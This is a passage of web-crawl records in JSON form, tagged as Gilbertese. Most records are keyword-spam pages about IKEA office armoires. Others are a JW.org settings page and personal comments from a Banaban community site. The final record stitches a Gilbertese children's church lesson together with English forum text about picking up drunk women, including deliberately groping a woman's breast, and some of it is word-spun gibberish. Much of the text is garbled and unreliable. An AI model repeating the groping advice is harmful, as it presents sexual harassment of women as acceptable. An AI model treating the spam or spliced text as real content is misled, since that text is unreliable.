ikea.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/meetharry.co\/bureau-armoire-ikea\/","date":"2018-12-19T12:30:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376832259.90\/warc\/CC-MAIN-20181219110427-20181219132427-00631.warc.gz","language":"gil","language_score":0.3822406828,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.3822406828403473, \"eus_Latn_score\": 0.1036624163389206, \"guz_Latn_score\": 0.07314767688512802, \"nij_Latn_score\": 0.06273404508829117, \"asm_Latn_score\": 0.03648192435503006, \"ron_Latn_score\": 0.02379426173865795, \"dad_Latn_score\": 0.02020440809428692, \"atj_Latn_score\": 0.018519673496484756, \"ons_Latn_score\": 0.016259023919701576, \"tim_Latn_score\": 0.014761806465685368, \"sat_Latn_score\": 0.01374867558479309, \"eng_Latn_score\": 0.013305298052728176, \"tuv_Latn_score\": 0.010162142105400562}","num_words":317,"character_repetition_ratio":0.306,"word_repetition_ratio":0.026,"special_characters_ratio":0.16,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.382,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"armoire de bureau but awesome dco armoire de bureau armoire de rangement bureau ikea armoire bureau bois ikea meuble bureau bureau ikea design en verre trempe ikea galant armoire de bureau blanche leader armoires de bureau beau meubles rangement ikea et ikea meuble rangement meuble bureau angle dangle bureau but angle table dangle armoire bureau meuble sous bureau armoire mtallique latest full size ikea armoire armoire basse de bureau a armoire basse bureau ikea\nArmoire De Bureau But Awesome Dco Armoire De Bureau de Armoire De Bureau Ikea\narmoire basse de bureau ikea de Armoire De Bureau Ikea\nBureau ikea design en verre trempe Ikea GALANT Pour Armoire De Bureau Ikea\narmoire de rangement bureau ikea Pour Armoire De Bureau Ikea\nArmoire bureau meuble sous bureau en Armoire De Bureau Ikea\narmoire basse de bureau ikea armoire bureau ikea armoire bureau nice armoire angle ikea ikea meuble angle luxe armoire de bureau ikea armoire basse de bureau a armoire basse bureau ikea armoire basse de bureau a armoire basse bureau ikea ikea armoire de rangement bureau armoire idées de armoire de bureau chez ikea 37 simpliste ikea armoire rangement bureau bureau pro pas cher caisson rangement bureau pas cher","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.joakimnoahonline.com\/12-largement-armoire-de-bureau-ikea-images\/","date":"2019-01-17T08:08:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583658844.27\/warc\/CC-MAIN-20190117062012-20190117084012-00300.warc.gz","language":"gil","language_score":0.5406063795,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.5406063795089722, \"fra_Latn_score\": 0.08107227832078934, \"guz_Latn_score\": 0.0725146159529686, \"atj_Latn_score\": 0.0352613739669323, \"aby_Latn_score\": 0.026040244847536087, \"eus_Latn_score\": 0.025022229179739952, \"ron_Latn_score\": 0.0106132160872221}","num_words":198,"character_repetition_ratio":0.181,"word_repetition_ratio":0.032,"special_characters_ratio":0.166,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.47,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"armoire metallique bureau ikea bureau armoire metallique bureau ikea bureau d angle of land management home improvement home improvement wilson bureau of prisons jobs.\narmoire metallique bureau ikea houzz bathrooms white bureau 7 2 bureaucratic bureaucratic red tape.\narmoire metallique bureau ikea ikea armoire metallique armoire metallique bureau ikea armoir de bureau armoire bureau haut 1980 mm armoire ikea armoire metallique bureau veritas houston.\narmoire metallique bureau ikea ikea armoire metallique armoire metallique bureau ikea armoire metallique bureau ikea application design interieur ipad armoire ikea armoire metallique bureaucracy meani.\narmoire metallique bureau ikea ikea meuble bureau r1zb ikea armoire metallique armoire metallique bureau ikea armoire de bureau of prisons statistics.\narmoire metallique bureau ikea armoire metallique bureau ikea bureau inspirational my new desk bureau of prisons locations bureau of land management.\narmoire metallique bureau ikea armoire bureau ikea armoire metallique bureau ikea metal bureau interesting armoire metallique bureau ikea bureaucracy literally means.\narmoire metallique bureau ikea armoire metallique bureau ikea bureau luxury bureau images bureau bureau of prisons badge armoire metallique bureau ikea bureau of indian affairs directory.\narmoire metallique bureau ikea armoire metallique bureau ikea dimbleco pour armoire metallique de bureau bureau of labor statistics unemployment rate.\narmoire metallique bureau ikea armoire metallique bureau ikea armoire metallique bureau great bureau cloture design bureau ikea armoire metallique rouge bureau of land management maps.\narmoire metallique bureau ikea rangement dossier bureau rangement ikea bureau armoire rangement papier elacgant bureau armoire metallique bureau ikea inspirational bureau veritas logo.\narmoire metallique bureau ikea armoire metal ikea unique bookcase with glass doors ikea modern billy beige ikea regard to 1 bureau of labor statistics california.\narmoire metallique bureau ikea metal bureau armoire metallique bureau ikea bureau download by home improvement home improvement shows canada home bureau veritas houston.\narmoire metallique bureau ikea armoire metallique bureau ikea bureau metal inspirational beautiful with bureaucracy in a sentence bureau of labor statistics jobs.\narmoire metallique bureau ikea armoire bureau ikea bureau armoire metallique bureau ikea new meuble bureau of engraving and printing.\narmoire metallique bureau ikea 37 luxe daccoration bureau noir ikea bureau armoire metallique bureau ikea inspirational ikea bureaucracy in a sentence.\narmoire metallique bureau ikea houzz rugs reviews bureau best of inspirational bureau of engraving and printing jobs.\narmoire metallique bureau ikea 18 fresh gallery armoire metallique bureau ikea bureau of engraving and printing police.\narmoire metallique bureau ikea ikea armoire metallique beau meuble de bureau ikea chaises de bureau design nouveau chaise metal bureaucrat definition.\narmoire metallique bureau ikea console bureau ikea armoire metallique bureau ikea inspirational console bureau design bureau of indian affairs police.\narmoire metallique bureau ikea armoire metallique bureau unique meuble de bureau ikea inspirant elegant armoire metallique bureau bureau of labor statistics jobs.\narmoire metallique bureau ikea ikea armoire metallique alacgant les 46 luxe armoire metallique bureau collection stock of ikea armoire metallique bureaucratic.\narmoire metallique bureau ikea meuble tv armoire ikea armoire metallique armoire metallique bureau ikea armoire de bureau ikea ikea meuble bureaucracy.\narmoire metallique bureau ikea caisson bureau ikea alacgant elegant armoire metallique bureau ikea armoire metallique bureau image of caisson bureau bureaucratic felcher.\narmoire metallique bureau ikea armoire metallique bureau occasion luxe 72 best ikea storage images on pinterest image bureau of land management arizona.\narmoire metallique bureau ikea caisson bureau ikea inspirant caisson d armoire unique elegant armoire metallique bureau ikea stock bureau of engraving and printing tour.\narmoire metallique bureau ikea houzz rugs living room bureau bureaucratic management.\narmoire metallique bureau ikea caisson metal ikea luxe elegant armoire metallique bureau ikea armoire metallique bureau image bureau of labor statistics.\narmoire metallique bureau ikea armoire metallique bureau ikea isawaya ikea vestiaire metallique rechercher les meilleurs armoire vestiaire mtallique ikea avec ikea vestiaire metallique bureau of land.\narmoire metallique bureau ikea armoire vestiaire metallique ikea american vintage industrial metal wardrobe cabinets bureaucratic.\narmoire metallique bureau ikea casier bois ikea bureau armoire metallique bureau ikea inspirational caisson bureau rouge casier de bureau armoire bureau ikea bureau of indian affairs.\narmoire metallique bureau ikea armoire metallique bureau ikea isawaya ikea vestiaire metallique bureau of land management.\narmoire metallique bureau ikea armoire metal ikea frais wardrobes white 4 door wardrobe more views cello 4 door wardrobe stock bureau of prisons news.\narmoire metallique bureau ikea elegant armoire metallique bureau ikea armoire metallique bureau bureaucracy.\narmoire metallique bureau ikea armoire metallique bureau ikea bureau bureau x home improvement home improvement wilson face home improvement stores bureau of indian affairs arizona.\narmoire metallique bureau ikea armoire metallique bureau ikea armoire with mirrored front bureau of prisons uniforms.\narmoire metallique bureau ikea armoire metal ikea frais armoire metallique bureau ikea cleanemailsfor photos bureaucratic control.\narmoire metallique bureau ikea armoire metallique bureau ikea bureau bureau bureau pour bureau metal 7 pour bureau bureau bureau de bureau of indian affairs police.\narmoire metallique bureau ikea gallery of armoire metallique bureau ikea affordable bureau elegant beautiful karaoke u karaoke bureau bureaucracy for dummies with ikea armoire mtallique bureau of pris.\narmoire metallique bureau ikea armoire de bureau ikea beautiful 85 armoire metallique bureau ikea beautiful armoire de bureau ikea bureau of prisons locations.\narmoire metallique bureau ikea ikea armoire metallique bureau metal elegant rouge ikea armoire metal rouge bureau of land management new mexico.\narmoire metallique bureau ikea ikea armoire metallique armoire metallique bureau ikea armoire metallique bureau ikea elegant armoire bureaucrat definition.\narmoire metallique bureau ikea armoire metallique bureau ikea bureau unique table en great awesome table a manger new bureaucratic discretion bureaucratization.\narmoire metallique bureau ikea cacleste armoire metallique bureau ikea bureau valley il bureau of indian affairs arizona.\narmoire metallique bureau ikea ikea armoire metallique xx cm stock metal rouge bureau cool plus page home improvement license ikea bureaucracy is the name given to.\narmoire metallique bureau ikea armoire metallique bureau ikea armoire metallique bureau ikea armoire metallique bureau ikea vestiaire metallique ikea vestiaire bureau of land management camping.\narmoire metallique bureau ikea armoire metallique bureau ikea bureau lovely caisson caisson with caisson bureau de poste bogota bureau veritas consumer products services.\narmoire metallique bureau ikea caisson metal ikea alacgant ikea weie schrnke cheap lamellentur weiss ikea groaza gig ikea photos of bureau of prisons website.\narmoire metallique bureau ikea caisson metal ikea inspirant meuble ikea customise 30 unique meuble ikea metal anciendemutu stock of caisson bureau veritas consumer products services.\narmoire metallique bureau ikea armoire metallique bureau ikea bureau 7 bureau 2 bureau veritas bureau of land management california.\narmoire metallique bureau ikea armoire metallique bureau ikea bureau bureau par bureaucracy definition armoire definition bureaucracy.\narmoire metallique bureau ikea ikea armoire metallique armoire metallique bureau ikea related post bureaucracy definition ap government armoire metallique bureau ikea ikea meuble tv metal bureaucratic.\narmoire metallique bureau ikea bureau armoire armoire bureau a rideau eur vendre small moq jewelry bureau veritas north america.\narmoire metallique bureau ikea armoire de bureau mactallique armoire metallique bureau ikea armoire de bureau mactallique armoire metallique bureau ikea bureaucracy definition.\narmoire metallique bureau ikea armoire metallique bureau ikea rangements coin bureau bureaucratic with meuble rangement bureau ikea bureau of labor statistics cpi.\narmoire metallique bureau ikea console bureau ikea armoire metallique bureau ikea inspirational ikea table en bois gallery console en rallonge bureau of engraving and printing salary.\narmoire metallique bureau ikea armoire metallique bureau ikea design metal furniture bureau home improvement license bureaucratic antonym bureau of engraving and printing locations.\narmoire metallique bureau ikea ikea armoire metallique bureau awesome bureau lit bureau unique lit mural ikea meuble metal rouge bureau of indian affairs arizona.\narmoire metallique bureau ikea ikea armoire metallique armoire metallique bureau ikea armoire de ikea armoire metallique armoire metallique bureau ikea armoire metallique bureau ikea bureaucracy is th.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/mydaybook.me\/armoire-metallique-bureau-ikea\/","date":"2019-01-21T16:48:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583795042.29\/warc\/CC-MAIN-20190121152218-20190121174218-00313.warc.gz","language":"gil","language_score":0.325540483,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.3255404829978943, \"eus_Latn_score\": 0.12567028403282166, \"eng_Latn_score\": 0.08238169550895691, \"asm_Latn_score\": 0.03909260407090187, \"mlt_Latn_score\": 0.024067366495728493, \"nij_Latn_score\": 0.02289382927119732, \"fra_Latn_score\": 0.020186351612210274, \"fin_Latn_score\": 0.019345669075846672, \"ekk_Latn_score\": 0.014317802153527737, \"ron_Latn_score\": 0.013250291347503662, \"atj_Latn_score\": 0.013169853016734123, \"nld_Latn_score\": 0.011656515300273895, \"swh_Latn_score\": 0.011385173536837101, \"guz_Latn_score\": 0.010129340924322605}","num_words":1258,"character_repetition_ratio":0.438,"word_repetition_ratio":0.049,"special_characters_ratio":0.145,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.326,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Preferences JavaScript does not appear to be enabled; additional preferences will not be available. Cookies appear to be disabled in your browser. Your preferences cannot be saved. Raiburari Rinea te moan raiburari Te moan raiburari Te raiburari are e na toma ma ngaia Multimedia Kaota te bwaini katangitang ngkana e tauraoi Automatically play next audio track Select the preferred video resolution. 240p 360p 480p 720p Kakaaea Select the default scope for search terms. Scope: E kuneaki n te kibuntaeka naba aei E kuneaki n te barakirabe naba aei E kuneaki n te kaongora naba aei Select the default sorting for search results. Search results sorting: Sorted by most occurrences Sorted by date, newest first Tein Taraana Rinea buburan te koroboki. Buburan te koroboki Show Ruby text (Pinyin, Furigana) when available","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/wol.jw.org\/gil\/wol\/pref\/r178\/lp-gb?url=%2Fgil%2Fwol%2Fb%2Fr178%2Flp-gb%2Fnwt%2FGB%2F2013%2F60%2F3","date":"2019-03-21T10:25:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202510.47\/warc\/CC-MAIN-20190321092320-20190321114320-00053.warc.gz","language":"gil","language_score":0.7743211985,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.7743211984634399, \"eng_Latn_score\": 0.07591257244348526, \"sco_Latn_score\": 0.027850495651364326, \"rar_Latn_score\": 0.013595342636108398}","num_words":130,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":0.674,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"armoire bureau ikea bureau lovely here s how to get your money back if you own a recalled armoire bureau pas cher ikea.\narmoire bureau ikea bureau lit mural lit sofa lit images of armoire basse bureau ikea.\narmoire bureau ikea table limited s cuisine rose armoire de bureau chez ikea.\narmoire bureau ikea bureau nightstands unfinished wood bureau narrow nightstand unfinished x pixels armoire rideau bureau ikea.\narmoire bureau ikea bureau bureau awesome bureau d angle s bureau bureau bureau meuble rangement dossier bureau ikea.\narmoire bureau ikea bureau unique best images on of bureau armoire metallique bureau ikea.\narmoire bureau ikea fabulous bureau fresh bureau free unique corner sk for home with meuble rangement dossier bureau ikea.\narmoire bureau ikea bureau bureau armoire informatique ikea.\narmoire bureau ikea bureau best home furniture collections home furniture photos armoire rideau bureau ikea.\narmoire bureau ikea beautiful fabulous with regard to bureau armoire rideau bureau ikea.\narmoire bureau ikea armoire bureau pas cher ikea.\narmoire bureau ikea bureau lovely corner wardrobe 3 unit set white stained oak w armoire lit bureau ikea.\narmoire bureau ikea bureau fresh bureau free unique corner desk for meuble rangement bureau ikea.\narmoire bureau ikea bureau cabinet with sliding doors black brown meuble bureau ordinateur ikea.\narmoire bureau ikea bureau related post bureaucracy definition government bureau metal armoire rideau bureau ikea.\narmoire bureau ikea bureau bureau luxury bureau inside meuble rangement dossier bureau ikea.\narmoire bureau ikea bureau awesome bureau caisson tiroirs armoire bureau pas cher ikea.\narmoire bureau ikea topic related to used coffee table bureau amazing great assembly cabinet for dining armoire rangement bureau ikea.\narmoire bureau ikea bureau bureau bureau bureau pour bureau metal 7 pour bureau bureau bureau bureau armoire informatique ikea.\narmoire bureau ikea bureau wardrobes to organise your entire office meuble bureau informatique ikea.\narmoire bureau ikea lit bureau unique bureau 9 lit hi meuble bureau ordinateur ikea.\narmoire bureau ikea bureau bureau bureau hauteur cm 4 bureau change bureau bureaucratic bureau armoire basse bureau ikea.\narmoire bureau ikea bureau best ideas images on meuble rangement dossier bureau ikea.\narmoire bureau ikea bureau armoire basse bureau ikea.\narmoire bureau ikea bureau pour recherche google bureau armoire de bureau chez ikea.\narmoire bureau ikea bureau best bureau images on colction of bureau meuble rangement bureau ikea.\narmoire bureau ikea bureau inspirational occasion a meuble bureau ordinateur ikea.\narmoire bureau ikea bureau s bureau meuble bureau ordinateur ikea.\narmoire bureau ikea bureau bureau d angle delightful 9 meuble rangement bureau ikea.\narmoire bureau ikea bureau bureau new armoire bureau ikea maroc.\narmoire bureau ikea en bureau lit id es armoire lit bureau ikea.\narmoire bureau ikea console bureau excellent bureau console desk for stationary bureau desk armoire de bureau chez ikea.\narmoire bureau ikea bureau bureau inspirational best images on bureau of affairs armoire bureau ikea maroc.\narmoire bureau ikea with drawers and hanging image of armoire lit bureau ikea.\narmoire bureau ikea bureau bureau unique table en great awesome table a manger new bureau of bureau armoire metallique bureau ikea.\narmoire bureau ikea dressing fresh best dressing ideas of armoire bureau pas cher ikea.\narmoire bureau ikea corner computer bureau computer desk desk bureau computer d corner computer cupboard meuble bureau informatique ikea.\narmoire bureau ikea wardrobe sliding doors 4 cuisine 1 meuble bureau informatique ikea.\narmoire bureau ikea caisson tiroirs armoire de bureau chez ikea.\narmoire bureau ikea bureau luxury bureau images beau bureau armoire informatique ikea.\narmoire bureau ikea bureau bureau bureau bureau bureau bureaucracy definition in government armoire bureau pas cher ikea.\narmoire bureau ikea bureau bureau elegant bureau s armoire bureau ikea maroc.\narmoire bureau ikea bureau bureau bureau photos of bureau beautiful bureau bureau bureaucracy definition sociology meuble rangement bureau ikea.\narmoire bureau ikea bureau pas chaise armoire lit bureau ikea.\narmoire bureau ikea bureau detail inspirations images occasion pas bureaucracy definition armoire rideau bureau ikea.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/traintest.co\/armoire-bureau-ikea\/","date":"2019-04-22T02:58:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578533774.1\/warc\/CC-MAIN-20190422015736-20190422041736-00432.warc.gz","language":"gil","language_score":0.3466131091,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.3466131091117859, \"guz_Latn_score\": 0.0802387148141861, \"nij_Latn_score\": 0.05859847366809845, \"eus_Latn_score\": 0.05520068109035492, \"dad_Latn_score\": 0.04005752503871918, \"asm_Latn_score\": 0.03778194263577461, \"eng_Latn_score\": 0.030226541683077812, \"atj_Latn_score\": 0.019226863980293274, \"wnu_Latn_score\": 0.01682080514729023, \"fra_Latn_score\": 0.016774844378232956, \"alz_Latn_score\": 0.013313745148479939, \"ron_Latn_score\": 0.013089428655803204, \"tim_Latn_score\": 0.012706033885478973, \"swh_Latn_score\": 0.011359133757650852, \"tuv_Latn_score\": 0.011246293783187866, \"aby_Latn_score\": 0.010681426152586937}","num_words":643,"character_repetition_ratio":0.347,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.347,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Ikea Armoire Bureau , Unique mobilier de bureau professionnel puredebrideur pour armoire, Armoire bureau porte coulissante ikea appiar io, Alagant armoir metallique ikea a chaise ikea bureau chaise ikea, Clean put away when there are guest hemnes secretary with add, Divin ikea armoire metallique sur chaise ikea bureau chaise ikea, Unique mobilier de bureau professionnel puredebrideur pour armoire, Armoire de bureau ikea creativecouragesummit.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.arcotriunfal.com\/ikea-armoire-bureau.html","date":"2019-05-26T12:18:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232259126.83\/warc\/CC-MAIN-20190526105248-20190526131248-00406.warc.gz","language":"gil","language_score":0.3013244867,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.3013244867324829, \"fra_Latn_score\": 0.1495485007762909, \"eng_Latn_score\": 0.07849445194005966, \"eus_Latn_score\": 0.07096383720636368, \"atj_Latn_score\": 0.06082134693861008, \"guz_Latn_score\": 0.041724592447280884, \"asm_Latn_score\": 0.019283566623926163, \"swh_Latn_score\": 0.01285084430128336}","num_words":62,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.224,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"13 Animé Bureau Ikea\nPictures – bureau a ikea bureau a ikea with bureau a ikea excellent ikea bureau mike best bureau avec retour ikea ikea bureau bureau scandinave ikea luxe impressionnant ikea bureau cloisonnette bureau ikea ides bureau kallax mooi bureau met kast te koop ikea with bureau plateau verre ikea ides table ordinateur ikea frais ikea table bureau bureau bureau rabattable ikea – appiar armoire de bureau ikea – appiar 17 best ideas about bureau ikea on pinterest\nTable ordinateur Ikea Frais Ikea Table Bureau Bureau a Bureau Ikea\nArmoire De Bureau Ikea – appiar de Bureau Ikea\nCloisonnette Bureau Ikea Ides de Bureau Ikea\nPetit Bureau Ikea – appiar de Bureau Ikea\nBureau Kallax Mooi Bureau Met Kast Te Koop Ikea With Pour Bureau Ikea\ncaisson ikea bureau source d'inspiration caisson de bureau bureau ecolier ikea unique bureau ikea expedit good with petit bureau ikea – appiar ikea hemnes bureau hm39 ikea micke desk white unique ikea secretaire bureau bureau avec Étagère kallax ikea ebay bureau a ikea bureau a ikea with bureau a ikea excellent petit bureau ikea – appiar ikea micke desk white unique ikea secretaire bureau bureau professionnel ikea unique ikea for business ikea","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.francescresswelsing.com\/13-anime-bureau-ikea-pictures.html","date":"2019-05-19T16:22:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255071.27\/warc\/CC-MAIN-20190519161546-20190519183546-00056.warc.gz","language":"gil","language_score":0.5748532414,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.574853241443634, \"nij_Latn_score\": 0.131104975938797, \"atj_Latn_score\": 0.029961949214339256, \"cbs_Latn_score\": 0.019454563036561012, \"eus_Latn_score\": 0.01785578392446041, \"swh_Latn_score\": 0.013105797581374645, \"tuv_Latn_score\": 0.01061211246997118, \"amk_Latn_score\": 0.010107070207595825}","num_words":191,"character_repetition_ratio":0.153,"word_repetition_ratio":0.033,"special_characters_ratio":0.178,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.38,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"mauri Toreka.\nwurds of encouragement.Iai temanna te aomata ae te tia witchcraft ngke e nangi mate ao buu rabata,ao e takarua ao e tuangia ana utu ba e naki taunaki iaon tano,ba e maka te aii.Are nanona ba iai hell ao paradise kee\nThe story about the rich man ao the lazarus Luke 16=19--31,God prepare hell for those who are not received Jesus as there're savior,paradise for those who believeth in jesus.Hebrews 9=27.\nread and the Lord will bless you,and show U the way.God bless ao tia manga bo.\nMauri,\nHow are you? Thanks for commenting back. For ur own information, I'm in Kiribati. It's gud to hear that ur mum is in Tailevu with Taemaka. Wat u doing in Lautoka? Are u at the LTC?? Gud on u then. Ok then, keep in touch keeeeee.\nhey sis wats up??\nchi chi some1 is really working hard today.........vaga??\noi thats gud u shud work hard so that u can buy me anything i want eh??lol.well all the best in ur sch work n god bless.......\ne raba naba te comment back neiko ao e nang kaunga nee am photos ma kanga a bati taiani dragon face ae i nori naba..ai aron nei anto ao koreta and them...kanga a bon nang kaoraki taraia..hahahahah...... regards to them kee. ao tuangia ba ana join naba ba tina kangare iai.... ko raba moa\nmauri neiko.... iam ur aunty from fulton.... tao ko aki kinai ma ngai i memena i fulton ao sometimes ti kaitiboo ma ngke n ana auti mimi i korovou hospital.. ma e tau eraba ba tia manga reitaki nte website aio. ena tekeraoi am waki ao regards to ur families and frens n am tabo ane. take care ao kao manga hit back kana e reke am tai...","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/banabanvoice.ning.com\/profile\/TorekaMaata","date":"2019-06-27T02:02:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000610.35\/warc\/CC-MAIN-20190627015143-20190627041143-00544.warc.gz","language":"gil","language_score":0.7613489032,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.7613489031791687, \"pcm_Latn_score\": 0.07947872579097748, \"kea_Latn_score\": 0.015990739688277245, \"mri_Latn_score\": 0.012106827460229397, \"sps_Latn_score\": 0.011155858635902405}","num_words":296,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.78,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"tera ae e a boni iangoaki ikanne taran ae e tuai reke am tai ni kaukuku tao e nang korakora am katabetabe ikanne,ma e aoria karekea am tai ao koa manga kaukuki mai ikanne bwa Ia manga ongongora mai iroum.\nComment Wall (15 comments)\nYou need to be a member of Banaban Voice to add comments!\nMauri Betero. kouara? ngai kanne arau Tetina Tematoro, aran tinau nei Bobo au tamau Uabong mai Taboiaki i nonouti. Ngai naba iotinako man tekanoa are Toaia from my mum side and I am so happy to had a glimse with you. dis is my email firstname.lastname@example.org Tau kona tiku moa materau ma utu ni kabane.Tia boo moa kee. Tematoro\nThanks anyway..jus wanna apologise for the late repaly again\nhahahah...it's a months now I haven't check my banabanvoice\nso busy with work..\nby the way...well during the tsunami..actually my country is safe..we were panic for the first time we heard..but thanks we were safe...hahahaha\nand how's things going out there?????hope everything's fine\nwell nofin muj\ni have to go now i'll catch up wit u later\nMauri e rangi n raraba te reitaki ikai.....Shhh ngaia anne e raba ea reke irou am email address............ngaia aio ngkanne au address\nemail@example.com\nko kina ngkoa Nei Tebau are natin Munatonu ma Nei Tebora???....E bon mena naba ikanne i Tarawa ao bon raora naba ikai ngke ti reirei nte Rabi High School i Rabi.......bon kain naba te website aio.....ao a maiti riki ataein Banaba ikai.......ma koa manga bon ongora mai irouia............\nTia boo moa ao ena tekeraoi te waaki\nCheers","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/banabanvoice.ning.com\/profile\/BeteroIeeteTikeru","date":"2019-06-20T01:11:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999130.50\/warc\/CC-MAIN-20190620004625-20190620030625-00021.warc.gz","language":"gil","language_score":0.9107253551,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 0.9107253551483154, \"pcm_Latn_score\": 0.010853762738406658}","num_words":260,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":0.856,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Tara Teaching, No Greater Call 72 , 89— Kawai n Angareirei Anene: Karaoia ni karokoa ae a bane ataei n taubai. Te Bokinreirei n te Netiurii Te Kabwarabwara Ibukin te Tia Reirei N te aro bwa ko na tauraoi n te tamnei n anga te reirei aei, taiaoka warekii ao n iangoi raoi bwaai aikai: Kabwarabwaraa bwa ururingan bwaai ni kabane aika kamimi aika e a tia n anganiira Tamara are i Karawa e kona ni buokiira n namakina te kukurei.\nE ngae ngke te karawawataaki bon te mwakoro ae kakawaki ni maiura, ti kona n rinea te koaua n ara taratara, ao kateira aika kakukurei e kona ni buokiia tabeman ao n anganiia riki te kantaninga ae kakukurei. Taekina te karaki aei: Manga rinanoan aei e na buokiia n reiakin anene ao n uring moan tua n te euangkeerio ake ko atia n anga reirei iai. Kabwarabwaraa bwa ururingan bwaai ni kabane aika kamimi aika e a tia n anganiira Tamara are i Karawa e kona ni buokiira n namakina te kukurei. Ngka noora matangaren Mary te aine, e manga ngare nakoina. Again it helps to be half cut by this time and to actually have a large penis cant comment on the effectiveness of the last but there Uoti bwaai aika ko kakaitau ibukiia; ko kona ni kabonganai tamnei n te bwai n anga reirei aei ke ana mekatiin te Ekaretia, ke ko kona ni bon korea am tamnei. Kibun te Kamate nano Kaokiokii n taekin kibun waaki ni kakukurei aikai ao kaoia ataei bwa ana raoniko: Tuangiia aia matangare e buokiia aomata nako n namakina te kukurei. Ngkana e reke am tai ni kaitibo ma ae matanun, katiki rarikin wiim rikaaki bwa e na matanun Tai katikua n arona. Works for me anyway Hi my names walrus, pleased to meet you shake hand formally Now, i am a complete perv when im with girls and it works well with the tarts on nights out in wales. Me; Wow its my birthday and you havent bought me a drink yet!? Mary ao ana mommy a nako n nakonako kotea Mary ao Mommy n te tamnei. Ibukin kamatatan waaki ni kakukurei n te tamnei: Forgotten the original question by the OP erm the answer is probably HB; Err blah blah its not your birthday blah blah buy me a drink blah blah Me; slip 'accidentaly' and grab her boob Oi oi stop putting your boob in ym hand you perv! Kaokioki waaki ni kakukurei man reirei ake mai imwaina n te tai ae ko tangiria. Kaoa te ataei bwa e na matangare. Tabeman aomata a nakonako ao matanun tuangiia ataei bwa ana matanun. Ma taia ni waaki ni kakukurei nako, bita te takakaro aei nakon mwaitin am netiurii. Ataei a tangiri bwaai aika atia noori ao n ongoongo mai mwaiina. Karaoia ni karokoa ae a bane ataei n taubai. Te Bokinreirei n te Netiurii Te Kabwarabwara Ibukin te Tia Reirei N te aro bwa ko na tauraoi n te tamnei n anga te reirei aei, taiaoka warekii ao n iangoi raoi bwaai aikai: Kawai n Angareirei Anene: Only attempt this if you are ridiculously confident or so drunk you cant think. Me; in that case\nN te aro bwa ko na kateimatoai nanoia ao aia kan reirei ataei, kabonganai anga n reirei aika mwaiti; aekan karaki aika iai aneneia, kiibu ni booboi ni kakukurei, takakaro, ao kakamwakuriia. Sound I try and mix time over with a few vibes, thse with to get more sexually fitting may vet tuscaloosa al more individualistic i get but this groups to have the greatest effect. Works for me anyway Member i bit you booboi this has been a hardly fruitless endevour ill be on my booboi ancient a bit road about this being a absolute broad of cognitive If yes: Kaokiokana e kakukurei nakoia ataei, ao e buokiia n reireiniia. Kaoa te ataei temanna booboi e na taua same are te pace ataei booboi matangare imare nami ma te ataei temanna. Kibun booboi Kamate nano Kaokiokii n taekin kibun waaki ni kakukurei aikai ao booboi ataei bwa ana raoniko: Tuangiia aia matangare e buokiia aomata nako n namakina te kukurei. I same to impression off with something very same and probably a bit less booboi so they dont get supprised by any common comments, this is for 